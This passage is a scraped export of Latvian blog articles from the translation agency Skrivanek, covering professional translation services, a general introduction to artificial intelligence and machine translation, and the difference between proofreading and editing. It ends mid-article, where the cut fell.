complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Kas ir tulkošana? Kādus tulkošanas pakalpojumus nodrošina tulkošanas biroji un kā izvēlēties tulkošanas pakalpojumu sniedzēju? Lasi šeit! - Published: 2023-11-14 - Modified: 2025-07-15 - URL: https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/ - Kategorijas: Raksti - Translation Priorities: Optional TULKOŠANA – KĀDĒĻ TO UZTICĒT PROFESIONĀĻIEM KAS IR TULKOŠANAS PAKALPOJUMI Valoda ir viens no svarīgākajiem instrumentiem, lai dzīvē notiktu virzība – ar valodu mēs nododam informāciju, paužam emocijas, izsakām idejas un viedokļus, veidojam profesionālas un privātas attiecības, valoda ir arī domāšanas līdzeklis. Tā kā pasaulē ir vairāk nekā 4000 valodu, kurās runātāju skaits pārsniedz 1000 cilvēku, būtiska loma ir tulkošanas pakalpojumiem, kas palīdz ātri un kvalitatīvi bez kļūdām uzturēt savstarpēju komunikāciju un informācijas apriti starp cilvēkiem, uzņēmumiem un klientiem, sadarbības partneriem, valsts iestādēm utt. Mūsdienās tulkošanas biroju pārraudzībā ir dažādi profesionāli pakalpojumi, nodrošinot ne tikai rakstiskā un runātā satura pārnešanu no vienas valodas citā, bet arī dokumentu tulkojumus ar notariālu apliecinājumu, satura – reklāmas, mājaslapu, SEO u. c. tekstu – izveidi vai adaptāciju/lokalizēšanu, tehnisku palīdzību, piemēram, tiešsaistes pasākumu īstenošanā, kā arī dokumentu formatēšanu vai digitalizēšanu. TULKOŠANAS BIROJS – PROFESIONALITĀTE UN PIEREDZE Svarīgu dokumentu, sarežģītu projektu un darbu īstenošanā sadarbība ar tulkošanas pakalpojumu biroju ir neatsverama. Labs, sertificēts tulkošanas birojs strādā ar augsti kvalificētiem un pārbaudītiem speciālistiem, kuriem ir atbilstoša izglītība, prasmes un pieredze savā jomā, ne tikai valodas, bet arī citu nozaru zināšanas, lai strādātu ar dažādu tēmu un sarežģītības dokumentiem un tekstiem. Ja jums nepieciešams tulkojums specifiskā nozarē, svarīgi, ka tulks vai tulkotājs pārzina arī terminoloģiju un valodas etiķeti. Profesionāliem tulkotājiem ir pieeja arī dažādām vārdnīcām, tiešsaistes resursiem, kā arī augsta līmeņa tulkošanas programmām, kas palīdz nodrošināt tulkojumu precizitāti. Strādājot ar tulkošanas biroju, jūsu rīcībā būs augsta līmeņa profesionāļi visdažādākajās valodu kombinācijās, kā arī neatsverams atbalsts projekta vadībā, nodrošinot kvalitāti, izpildi vienmēr laikā un ilgtermiņā pavisam noteikti ietaupot jūsu laiku un naudu. Tulkojuma cena parasti tiek aprēķināta, pamatojoties uz vārdu skaitu dokumenta avota valodā (oriģinālā), taču to var ietekmēt arī izpildes termiņš. Par tulkojuma izpildes termiņu parasti pasūtītājs vienojas ar tulkošanas biroju, bet pieņemts, ka tulkojumam līdz 500 vārdiem vidēji nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darbadiena. TULKS VS TULKOTĀJS Ir divi tulkošanas speciālisti – tulki nodrošina mutiskos tulkojumus, tulkotāji veic rakstiskos tulkojumus. Rakstiskie tulkojumi ir dokumentu, līgumu, rēķinu, reklāmas un mājaslapas tekstu, grāmatu, zinātnisku izdevumu u. c. tekstu tulkojumi. Parasti tulkošanas birojs norāda jomas un nozares, piemēram, medicīna, jurisprudence, ekonomika, lauksaimniecība, ar kurām strādā, jo tas nozīmē, ka tulkotājam, lai tulkojums būtu kvalitatīvs un ar konsekventu pareizu terminoloģiju, jāorientējas arī konkrētajā jomā. Mutiskie tulkojumi iedalās sinhronajā tulkošanā un secīgajā tulkošanā. Sinhronā tulkošana paredz, ka tulkošana tiek veikta reizē ar runātāju, tāpēc to bieži izmanto semināros, konferencēs un biznesa pasākumos, dažkārt arī kultūras pasākumos, teātra izrādēs vai kino filmu seansos. Tulki tad lielākoties strādā ar īpašām iekārtām – kamēr runātājs runā auditorijas priekšā, tulks atrodas skaņu necaurlaidīgā kabīnē un veic tulkošanu, savukārt pasākuma dalībnieki klausās tulkojumu austiņās. Secīgā tulkošana ir runātāja un tulkotāja mijiedarbība – tulks noklausās runātāja teikto vienā valodā un tālāk pārtulko citā valodā. Šāda veida tulkojumus izmanto nelielās biznesa sapulcēs vai prezentācijās. DOKUMENTU TULKOJUMI Pirms došanās uz jebkuru ārvalsti, kur kādā iestādē būs jāiesniedz oficiāls publisks dokuments, ieteicams laicīgi noskaidrot, vai nepieciešama tā apliecināšana ar apostilli. Ja jums ir nepieciešams publiska dokumenta, kā dzimšanas apliecības, laulības apliecības, izglītību apliecinošu diplomu, izziņu un valsts izdotu pilnvaru, tulkojums, noskaidrojiet, vai tulkošanas birojs piedāvā dokumentu tulkojumu ar notariālu apliecinājumu, kas palīdzēs ietaupīt jūsu laiku. Tulkojumi ar notariālu apliecinājumu nepieciešami, lai dokumentu legalizētu, tāpēc kvalificēts tulkotājs ar savu parakstu apliecina tulkojumu un uzņemas atbildību par dokumenta oriģināla tulkojuma pareizību, bet zvērināts notārs apliecina tulkotāja parakstu. Jāņem vērā, ka zvērināts notārs var apostillēt tikai dokumentus, kas izdoti Latvijas Republikas iestādēs. TULKOŠANAS PAKALPOJUMI UN KOREKTŪRA Jebkurš rakstīts teksts saistās arī ar labošanu un rediģēšanu. Tulkošanas birojs parasti uztur sadarbību ar korektoriem un redaktoriem, lai tulkojumu pārskatītu vēl viens valodas profesionālis, uzmanību pievēršot gramatikai, stilam niansēm, teikumu konstrukcijām un labskanībai. Nereti tulkošanas birojs korektūru piedāvā kopā ar tulkojuma pakalpojumu par vienu cenu. Arī tulkošanas pakalpojumu birojs Skrivanek nodrošina, ka pēc katra tulkojuma tekstu pārskata korektors, kuram mērķa valoda ir dzimtā valodā, tādējādi gādājot, ka tulkojumi ir labskanīgi un bez gramatikas kļūdām. TULKOJUMU LOKALIZĒŠANA Nereti klientiem nepieciešana ne vien tulkošana, bet arī tulkojuma lokalizēšana un adaptēšana mērķauditorijai. Lai uzņēmuma stāstu, vērtības, vēstījumu, produkta tehniskās iezīmes profesionāli un precīzi pārnestu mērķvalodā, svarīgi informāciju nodot atbilstošā intonācijā, izvēlēties atbilstošu leksiku, frazeoloģismus un terminus. Tādās nozarēs kā reklāma, mārketings tulkošanas pamatā ir tieši adaptēšana. Pētījumi par tulkojumu un to adaptēšanas nozīmi, lai sasniegtu mērķauditoriju, liecina, ka neskatoties uz angļu valodas dominanci pasaulē, mērķa valodā tulkota un adaptēta reklāmas kampaņa vai mājaslapa sasniedz labākus rezultātus. Piemēram, sociālā medija Facebook reklāmām ar lokalizētu ieraksta kopiju ir par 22 % augstāks klikšķu skaits sieviešu un pat par 87 % augstāks – vīriešu vidū; 46 % no meklējumiem Google ir lokāla informācija valsts valodā; 75 % patērētāju drīzāk apsvērs pirkumu, ja iegādes pakalpojumi tiks nodrošināti viņu dzimtajā valodā. KĀ IZVĒLĒTIES TULKOŠANAS PAKALPOJUMU SNIEDZĒJU Ja biznesā vai privāti regulāri nepieciešami tulkošanas pakalpojumi, ļoti svarīgi izveidot veiksmīgu ilgtermiņa sadarbību ar tulkošanas biroju, kas nodrošina, ka tulkojumi norit ātri un kvalitatīvi. Vispirms sāciet ar savu vajadzību apzināšanu. Kāda veida tulkošana jums ir nepieciešama? Ja darbojaties mārketingā, svarīgi, ka tulkojumi ir arī lokalizēti atbilstoši mērķvalodas kultūrai. Savukārt dokumentu tulkošana noritēs raitāk, ja tulkošanas birojs nodrošina arī notariālu apliecinājumu. Kas ir jūsu auditorija – tulkojumu lasīs jūsu klienti vai sadarbības partneri? Vai nepieciešami tikai rakstiskie tulkojumi vai arī aktuāli mutiskie tulkojumi? Kā arī – kādās valodu kombinācijās tulkojumi būs nepieciešami? Svarīgi, ka tulkošanas birojs var nodrošināt tulkotājus, kuri strādā ar jūsu avota valodu un mērķvalodu. Ilgtermiņa sadarbības un klientu atsauksmes Tulkošana ir strauji augoša nozare, un tulkošanas biroju netrūkst pat nelielajā Latvijā. Tulkošanas biroju mājaslapās parasti var iepazīties ar biroja lielākajiem klientiem un projektiem, un tulkošanas birojam noteikti var arī vaicāt par pieredzi konkrētā nozarē, īpaši, ja jums svarīga specifiska terminoloģija un aktuāli tehniski sarežģīti tulkojumi. No uzticama tulkošanas biroja mēs sagaidām kvalitāti un laikā izpildītus tulkojumus. Ar jums komunicēs projektu vadītājs, kurš atbildēs uz visiem jums svarīgajiem jautājumiem un gādās, lai tulkojumu veic piemērots tulkotājs un tiktu ievēroti norunātie izpildes termiņi un kvalitāte, kā arī izteiks cenas piedāvājumu pēc tulkojuma pasūtījuma iesniegšanas. Kvalitāti apliecinoši sertifikāti To, vai tulkošanas birojs ir ieviesis kvalitātes vadības sistēmas prasības un strādā ar profesionāliem tulkiem, tulkotājiem, redaktoriem un korektoriem, apliecina arī dažādi ISO sertifikāti. Šāda kvalitātes pārvaldība nodrošina pakalpojumu kvalitāti un konfidencialitāti. EN ISO 9001: tulkošanas birojā tiek īstenoti nepieciešamie procesi, lai pakalpojumu kvalitāte atbilstu klientu vēlmēm un normatīvo aktu prasībām; EN ISO 14001: sertifikāts apliecina tulkošanas uzņēmuma rūpes par vidi – videi saudzīgu tehnoloģiju un materiālu izmantošanu, atkritumu šķirošanu, tikai nepieciešamo dokumentu drukāšanu u. tml. ; EN 17100: tulkošanas speciālistu atlase, saziņa, projektu vadība, darba process, tehnoloģiju izmantojums un citi ar nozari saistītie aspekti atbilst noteiktajām prasībām; ISO/IEC 27001: tulkošanas birojā ir īstenoti informācijas aizsardzības pasākumi un tiek nodrošināta nepieciešamā kontrole, garantējot klientu uzticēto datu drošību un konfidencialitāti; ISO 18587: sertifikāts attiecas uz mašīntulkota teksta pēcrediģēšanas procesiem, projekta vadītājam un redaktoram kopīgi strādājot pie projekta izpildes. SKRIVANEK TULKOŠANAS PAKALPOJUMU JOMĀ JAU VAIRĀK NEKĀ 25 GADUS Esam viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē – mums ir gandrīz piecdesmit filiāles dažādās pasaules valstīs. Latvijas filiāle ar biroju Rīgas centrā darbojas no 2003. gada. Mūsu klientu lokā ir gan valsts institūcijas un lieli uzņēmumi, gan individuāli klienti, un katru dienu mēs īstenojam kā apjomīgus un sarežģītus projektus, tā nelielu dokumentu tulkojumus, nodrošinot pieņemamas cenas, kvalitāti un laikā izpildītus pakalpojumus. Skrivanek misija ir palīdzēt klientiem izzināt pasauli un attīstīt biznesu. Mūsu starptautiskā komanda nodrošina tulkojumu pakalpojumus vairāk nekā 110 valodās, profesionāli strādā ar jaunākajām tehnoloģijām tulkošanas jomā un piedāvā klientiem tulkojuma korektūru, ko veic redaktors, kam mērķa valoda ir dzimtā valoda. Attālināti mūsdienās var strādāt ne tikai tulkotāji, bet arī noritēt saziņa ar klientu par nepieciešamo pakalpojumu, nepieciešams vien e-pasts. Ja jums nepieciešami tulkošanas pakalpojumi, sazinieties ar mums vai nāciet ciemos uz biroju Rīgā, Lāčplēša ielā 87C, kur jūs sagaidīs jomas profesionāļi. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Kas ir mākslīgais intelekts un tā sniegtās iespējas? Kādi ir mīti par mākslīgo intelektu un tā nākotnes perspektīva? Lasi šajā rakstā! - Published: 2023-11-13 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kas-ir-maksligais-intelekts/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR MĀKSLĪGAIS INTELEKTS? Ar mākslīgo intelektu (MI) mēs neizbēgami saskaramies ik dienu, sākot no mūsu darbībām interneta pārlūkprogrammā, beidzot ar to, ka ar viedierīcēm regulējam ventilāciju birojā, apkuri mājās, mērām savu asinsspiedienu sporta nodarbības laikā un analizējam miega kvalitāti. Šobrīd mākslīgā intelekta temats ir kļuvis īpaši aktuāls, jo pēdējā gada laikā popularitāti sāk iemantot mākslīgā intelekta modeļi, kas ļauj ģenerēt arī saturu, ko ierasti radīja tikai cilvēks, – fotoattēlus, projektu pieteikumus, esejas, dzeju, uzrunas un pat iespēju sarakstes veidā aprunāties. Šis ir tā saucamais stiprais MI (Strong AI), kura mērķis ir radīt tehnoloģiju, kas varētu domāt tāpat kā cilvēks un kurai būtu saprātīgas būtnes apziņa, taču vai tas vispār ir iespējams, un vai zinām, kas ir cilvēka saprāts un kādas ir tā robežas. Emuāra ierakstu sākām ar to, ka pajautājām labi zināmajam ChatGPT, kas ir mākslīgais intelekts. Lūk, kādu atbildi mēs saņēmām: "Mākslīgais intelekts ir datorzinātnes nozare, kas nodarbojas ar datorprogrammu un datorsistēmu izstrādi, kas spēj veikt uzdevumus, kas parasti prasīja cilvēka intelektuālās spējas. Mākslīgais intelekts pēta un mēģina radīt datorprogrammas, kas var domāt, mācīties, analizēt, secināt un pieņemt lēmumus līdzīgi cilvēkam. Mākslīgais intelekts aptver vairākas apakšnozares: mašīnmācīšanās: MI apakšvirziens, kas koncentrējas uz algoritmu izstrādi un modelēšanu un ļauj datoram mācīties no datiem un veikt prognozes vai klasifikācijas; dziļā mācīšanās: MI apakšvirziens mašīnmācīšanās jomā, kas izmanto neironu tīklus un dziļos modeļus, lai veiktu sarežģītus uzdevumus, piemēram, attēlu vai runas atpazīšanu; dabīgās valodas apstrāde: algoritmi un programmas, kas ļauj datoriem saprast un analizēt cilvēku valodu, kā arī veikt tulkošanu un veidot dialogu sistēmas; robotika: MI tiek izmantots, lai radītu robotus un ierīces, kuras spēj saprast un reaģēt uz apkārtējo vidi, izpildīt noteiktus uzdevumus un komunicēt ar cilvēkiem. Mākslīgā intelekta pielietojums ir plašs, tostarp medicīnā, finanšu nozarē, transportā, mākslā un vēl daudzās citās nozarēs. Mākslīgais intelekts turpina attīstīties un potenciāli ietekmēt mūsu ikdienas dzīvi, piedāvājot jaunas iespējas un risinājumus sarežģītiem uzdevumiem. " Tātad mākslīgā intelekts ir datorzinātnes apakšnozare, kas nodarbojas ar intelektuālas uzvedības automatizāciju, liekot datoriem darīt lietas, ko cilvēki dara labāk. Vienkāršiem vārdiem, ja datorprogramma spēj nonākt pie risinājuma, imitējot cilvēka smadzeņu darbību un domu gājienu, to var saukt par mākslīgo intelektu. Vairāk par to, kas ir MI un kā tas ietekmē mūsu ikdienas dzīvi, raksta turpinājumā. MĀKSLĪGAIS INTELEKTS UN TĀ IESPĒJAS Eiropas Komisija izšķir divus mākslīgā intelekta veidus: programmatūra (virtuālie palīgi, attēlu analīzes programmatūra, meklētājprogrammas, runas un sejas, teksta vai rakstzīmju atpazīšanas datorsistēmas) un datortehnikas ierīcēs iestrādāts MI: robotos, automobiļos, bezpilota lidaparātos, interneta lietotnēs. Mākslīgā intelekta tehnoloģijas pastāv jau vairāk nekā 50 gadu, taču pēdējos gados mākslīgais intelekts piedzīvojis īpaši strauju attīstību. Tas kļuva iespējams, pateicoties jaudīgiem serveriem, kas spēj īsā laikā apstrādāt lielu informācijas datu apjomu. Ir daudz jomu, kur mākslīgo intelektu izmantojam jau pavisam ierasti. Tikai daži piemēri: Interneta pārlūks un viedie asistenti Viens no uzskatāmākajiem piemēriem ir mūsu rīcība internetā. Ik dienu atverot interneta pārlūku un meklējot sev interesējošu informāciju, meklētājprogrammas mācās “mēģina iegaumēt, minēt un atlasīt” no plašā ievades datu apjoma, ko ir snieguši citi lietotāji līdz šim, lai piedāvātu tieši mums piemērotus meklēšanas rezultātus. Līdzīgi arī viedtālruņi ar daudzajām lietotnēm un funkcionalitātēm – tie ir kļuvuši par mūsu ikdienas palīgiem un palīdz organizēt ikdienas rutīnu, darbu un biznesu. E-veikali un pareizā reklāma īstajā laikā Mākslīgo intelektu plaši izmanto e-komercijā un digitālajā mārketingā. Noteikti būsiet pamanījuši, ka neilgi pēc tam, kad esat paviesojušies kāda zīmola interneta veikalā vai interneta pārlūkā meklējuši sev interesējošu preci, piedāvājumi it kā maģiski parādās uz jūsu Facebook, Instagram lentes. Progresīvākie veikali, kas izmanto MI risinājumus, gājuši vēl tālāk – piefiksējuši, ka esat iegādājušies, piemēram, jaunu viedtālruni, nākamajā reizē piedāvā tieši šim viedtālrunim paredzētus aksesuārus, viedpulksteni un citas kombinējamas preces, nevis vēl vienu tādu pašu tālruni. MI sniedz personalizētus ieteikumus cilvēkiem, pamatojoties uz iepriekšējiem meklējumiem un pirkumiem, vai citu uzvedību tiešsaistē. MI pielietojums tirdzniecībā ir ļoti plašs un ir ļoti nozīmīgs produktu optimizācijā, uzskaitē, loģistikas jomā utt. Pakalpojumu jomā Zvanot uz konsultāciju tālruņiem, aizvien biežāk sarunu ar mums sāk sarunu bots, kas atbild uz standarta jautājumiem, bet speciālists pieslēdzas vien tad, ja izvēršas specifiska sarunas tēma un bots vairs nespēj piemeklēt atbildes. Sarunu boti tiek nepārtraukti trenēti un kļūst aizvien gudrāki, un daudzas vienkāršas sarunas tie prot veiksmīgi novadīt bez cilvēka līdzdalības. Finanšu pakalpojumi Bankas izmanto mākslīgo intelektu, lai izsekotu naudas pārskaitījumiem un pārbaudītu, vai darījumi ir likumīgi. Aizdomīgo maksājumu izskaitļošanā jau labu laiku tiek izmantoti datorizēti risinājumi, piemēram, MasterCard mākslīgā intelekta un mašīnu dziļās mācīšanās risinājumi meklē krāpnieciskiem darījumiem raksturīgus parametrus un uzrāda tos speciālistiem, kuri šos gadījumus tālāk analizē. Tāpat mašīnmācīšanās algoritmi ieņem lomu biržās, analizējot vērtspapīru kursa izmaiņas un prognozējot cenu svārstības nākotnē. Apstrādājot milzīgu daudzumu datu, mākslīgais intelekts meklē līdzīgus apstākļus iepriekšējos ierakstos un vērtē, kādi attīstības scenāriji tiem ir sekojuši. Mākslīgais intelekts tulkošanas nozarē Šobrīd attīstījušās daudzas ar tulkošanas nozari saistītas tehnoloģijas, tostarp automatizēta mašīntulkošana, kas nozīmē, ka tulkojumi kļūst ātrāki un precīzāki. Mākslīgā intelekta atbalstīti tulkošanas rīki, piemēram, Google Translate, Deepl, Microsoft Translator u. c. , ir konceptuāli mainījuši tulkošanas nozari, ļaujot viegli tulkot liela apjoma tekstu no vienas valodas citā, tomēr automatizētie tulkotāji ne vienmēr spēj tikt galā ar specifiskām niansēm un kultūras atšķirībām, kā arī jaunām ikdienas reālijām, piemēram, pavisam nesenā pagātnē vienā dienā mūsu sadzīvi mainīja Covid-19, lai automatizētie mašīntulkošanas rīki varētu tulkot par Covid-19, tie ir jāizglīto par to, jāvāc un jāpārbauda liela apjoma dati un jātrenē valodu modeļi. Tādēļ tulkošanas nozarē būtiska loma vienmēr būs sava aroda augsta līmeņa profesionāļiem, kuri nereti būs specializējušies noteikta veida tulkojumos (juridiskajos, medicīniskajos u. c. ). Arī mēs publicēšanai vai drukai paredzētus tekstus un dokumentus, kā arī specializētus, konfidenciālus un komplicētus nozaru tekstus vienmēr iesakām uzticēt profesionāliem tulkotājiem un redaktoriem. Kad izvēlēties mākslīgā intelekta tulkojumus? Mūsu birojs piedāvā automatizēto tulkojumu pakalpojumus ar Skrivanek NMT rīku, pie kura izveides strādājuši ne tikai Skrivanek valodu speciālisti, bet arī akadēmiķi un dažādu nozaru eksperti. Pie mums pieejami dažādi mašīntulkojuma veidi: automatizēti mašīntulkojumi bez pēcrediģēšanas un automatizēti mašīntulkojumi ar pamata vai pilnu pēcrediģēšanu, kad tulkojums ir līdzvērtīgs cilvēka veiktam tulkojumam. Automatizētu mašīntulkojumu bez pēcrediģēšanas iesakām izmantot, kad jātaupa laiks un tulkojuma izmaksas un tulkojums nepieciešams savām vai uzņēmuma iekšējām vajadzībām nelielam cilvēku lokam. Ja tulkojums vajadzīgs saziņā ar klientiem, sadarbības partneriem vai kolēģiem, piemērotāks ir mašīntulkojums ar pamata vai pilnu pēcrediģēšanu, ko veiks mērķa valodas dzimtās valodas runātājs vai pārskatīs attiecīgās nozares eksperts, jo mašīntulkotājs pielaiž tā dēvētās “halucinācijas”, proti, piedāvā nepatiesu tulkojumu. NĀKOTNES PERSPEKTĪVAS Mākslīgais intelekts un mīti Tā kā MI attīstās straujāk nekā ar IT nozari nesaistīti cilvēki spēj aprast un aptvert, ar mākslīgo intelektu saistāma arī virkne mītu. Viens no populārākajiem – MI atņems cilvēkiem darbavietas. Saprotams, ka mums ir bail no straujām pārmaiņām un to potenciālām sekām, tomēr eksperti norāda, ka cilvēki, kuri gatavi profesionāli augt un iegūt jaunas prasmes, nekad nepaliks bez darba. Mākslīgais intelekts atvieglo cilvēku ikdienu, ir palielinājis produktivitāti un nodrošinājis vietu radošumam. Tas nozīmē, ka cilvēkiem darba netrūks, taču mainīsies darba pienākumi un atbildības jomas. Fantastikas cienītāji modelē arī daudz futūristiskākus scenārijus par to, kā mākslīgais intelekts pārņems pasauli un vadīs cilvēkus, tomēr – lai mākslīgais intelekts spētu "paverdzināt" cilvēkus, šādu lēmumu pieņemšanai būtu vajadzīgas cilvēkam līdzīgas smadzeņu darbības spējas vai apziņa. Neskatoties uz milzīgo zinātnes progresu, apziņa un cilvēka smadzeņu darbības potenciāls joprojām nav izpētīta, tāpēc, kā gan ka datorprogramma to sapratīs labāk par mums? MI ir tikai rīks sarežģītu problēmu risināšanai, pamatojoties uz cilvēka noteiktajām metodēm, algoritmiem un citiem līdzīgiem aspektiem. No vienkāršiem tekstiem līdz inteliģentām diskusijām Šobrīd mākslīgais intelekts kļuvis par skolotāju, ceļvedi, asistentu un pat draugu, sniedzot atbildes uz gandrīz katru jautājumu un apliecinot spēju it kā "domāt" (mākslīgais intelekts ir pat nokārtojis vairākus eksāmenus, kas tika atlasīti, lai identificētu cilvēka domāšanas veidu un domāšanas procesu). Eksperti uzskata, ka MI nākotnē sola būtiskas pozitīvas pārmaiņas, tostarp uzlabotu piekļuvi informācijai, izglītībai, veselības aprūpei un transportam. Mākslīgais intelekts kļūs arvien izplatītāks uzņēmumos, apkalpojot gan klientus, gan nodrošinot uzņēmuma iekšējo darbību atsevišķos departamentos, ar MI saistīta izaugsme gaidāma arī veselības nozarē. Taču tas viss prasīs arī vairāk tehnisko zināšanu un uz risinājumiem orientētu sabiedrību. Nevar ignorēt arī ētiskās bažas par MI ietekmi, piemēram, datu aizsardzības problēmām, autortiesību jautājumiem, bažas rada arī atbildība par nepareizu vai kļūdainu informāciju un no tā izrietošās sekas cilvēka darbībās, lietotāju pārlieku lielu paļaušanos uz AI risinājumiem un datu nepārbaudīšanu, kas var novest pie smagām sekām. Pasaule neizbēgami strauji mainās, un mums jāmācās pielāgoties un izmantot iespējas labvēlīgi un atbildīgi, lai veicinātu pozitīvu attīstību. --- > Ar ko atšķiras teksta korektūra no redaktūras? Kādos gadījumos nepieciešama korekūra un kādas kļūdas labo korektors, lasi šajā rakstā! - Published: 2023-11-13 - Modified: 2025-07-15 - URL: https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR TEKSTA KOREKTŪRA UN KAD TO IZMANTOT? Jebkurš rakstīts teksts – vai tas būs jaunradīts, vai tulkojums – neizbēgami būs jākoriģē un jārediģē, pārskatot gan gramatiku (ortogrāfiju un interpunkciju, pārrakstīšanās kļūdas), gan terminoloģiju, gan valodas kultūras un stila nianses un teikuma konstrukcijas. Lai gan teksta autori nereti jūtas pārliecināti par sava teksta pareizību un domu izklāsta skaidrību, nozares profesionāļi, kuri ikdienā strādā ar tekstu rakstīšanu un to koriģēšanu, atgādina, ka parasti pašam savas kļūdas pamanīt ir sarežģīti, sevišķi, ja jānodod tikko uzrakstīts teksts, ko nevaram ar "svaigu" galvu pārlasīt nākamajā dienā. Tāpat ne visi esam apveltīti ar izkoptu valodas izjūtu un teicamām gramatikas zināšanām – kā zināms, latviešu valodā interpunkcija mēdz būt visai piņķerīga. Šādos gadījumos palīdzēt var profesionāls teksta korektors un redaktors. REDAKTORS UN KOREKTORS, REDAKTŪRA UN KOREKTŪRA – KO TAS VISS NOZĪMĒ? Cilvēki, kuri nestrādā humanitārajā jomā, dažkārt apjūk terminos. Skaidrosim, ar ko tad atšķiras redaktora un korektora profesijas un darba pienākumi un ko nozīmē redaktūras un korektūras pakalpojums. Redaktors vs. korektors Redaktors pamatā organizē un pārrauga darbu plašsaziņas līdzekļos, kuros veic redakcionālas izmaiņas, piemēram, presē, radio, televīzijā, elektroniskajos medijos, grāmatu izdevniecībās, īsteno izdevuma kopējo ieceri un pamatideju un vada konkrētās grāmatas vai laikraksta darbu, sadarbojoties ar žurnālistiem, autoriem, tulkotājiem, maketētājiem un arī korektoriem. Korektors savukārt veic tekstu koriģēšanu, labojot gramatiskās kļūdas. Mūsdienās, kad teksti tiek rakstīti uz datora, tekstu gramatiskai pārbaudei izmanto pareizrakstības pārbaudes rīkus, un korektora darbs vairāk tuvinās literārajai rediģēšanai, veicot arī stilistiskus labojumus un ieteikumus, kas parasti tiek saskaņoti ar autoru, tādēļ vienmēr ir svarīgi informēt korektoru par teksta lasītāju, teksta tonalitāti. Redaktūra vs. korektūra Korektūru uztic profesionālam korektoram ar filologa izglītību, bet redaktūru veic nozares eksperts, kas teicami pārzina ne vien konkrēto valodu, bet arī attiecīgās kultūras iezīmes, tāpat kā tulkotājs orientējas noteiktajā nozarē un tās terminoloģijā, lai tulkojums mērķvalodā tiktu pārnests precīzi, ievērojot konsekvenci un kontekstu. Redaktūras uzdevums ir katru dokumentu lasīt kā atsevišķu tekstu un pārbaudīt ne tikai iespējamās kļūdas, bet arī padarīt saturu vieglāk uztveramu, pievēršot uzmanību teikumu uzbūvei un citām būtiskām niansēm. Kad un kāpēc nepieciešams korektūras pakalpojums Teksta korektūra ir nepieciešama, lai mēs būtu droši, ka tekstā nav palikušas tulkojuma laikā pieļautas kļūdas, nav palikušas pārrakstīšanās kļūdu, kuras neuzrāda pareizrakstības pārbaudes rīki, visi komati ir savā vietā, nav pazudušas garumzīmes, kā arī teksts ir stilistiski pareizs, uzrunājošs, pārdodošs, cieņpilns un mērķauditorijai viegli uztverams. Neatkarīgi no tā, vai tev nepieciešams tulkojums, vai tevis uzrakstīta teksta rediģēšana, teksta korektūra ir labs skats no malas, kas nodrošinās kvalitāti un palīdzēs radīt profesionālu pirmo iespaidu. KĻŪDAS, KO KOREKTORS NOVĒRŠ Interpunkcija Rakstu valodas pareizrakstībā ir divas puses – vārdu formu pareizrakstība jeb ortogrāfija un runas vienību sadalīšanas un saistīšanas pareizrakstība jeb interpunkcija. Dažādās valodās ir dažādas interpunkcijas zīmes un to lietošanas likumi, kas lasītājam atvieglo uzrakstītā teksta uztveri un pareizu, nepārprotamu saprašanu. Būtu grūti lasīt tekstu, kurā nav ievērota pareizrakstība un pazudušas visas mīkstinājuma zīmes un garumzīmes, bet tāpat grūti uztvert domu, kas rakstveidā izteikta bez pieturzīmēm. Turklāt latviešu valodā liela nozīme ir ne tikai teikuma beigu pieturzīmei – punktam, jautājuma zīmei, izsaukuma zīmei, daudzpunktei –, kas nosaka teikuma intonāciju un vēstījumu, bet arī komatiem, domuzīmēm, defisēm, koliem, semikoliem, kas palīdz strukturēt tekstu un ievieš būtiskas jēdzieniskās atšķirības un nianses. Interpunkcijas gadījumā nepietiek tikai ar gramatikas likumu apgūšanu. Nereti pieturzīmju lietojumu nosaka arī valodas stils un teksta funkcija. Daiļliteratūra, zinātniskā literatūra, akadēmiski pētījumi, publicistika, lietišķie raksti – katram no šiem valodas stiliem ir savas raksturīgās iezīmes, kas atbilstoši savai funkcijai palīdz vistiešāk un precīzāk atklāt lasītājam izsakāmo saturu. Vislielākā iespēja atspoguļot ne vien teikumu gramatisko struktūru, bet arī dažādas intonatīvas un jēdzieniskās nianses interpunkcijai ir daiļliteratūrā, bet tikpat labi tas ir aktuāli arī t. s. copywriting tekstos – reklāmā, aprakstošās mājaslapu sadaļās, relīzēs utt. Ortogrāfija Ortogrāfija ir valodā pieņemtā vārdu pareizrakstības sistēma. Te korektors gādās, lai ievēroti lielie sākumburti, atceroties, ka ordeņu nosaukumos ar lielo sākumburtu raksta visus vārdus, izņemot 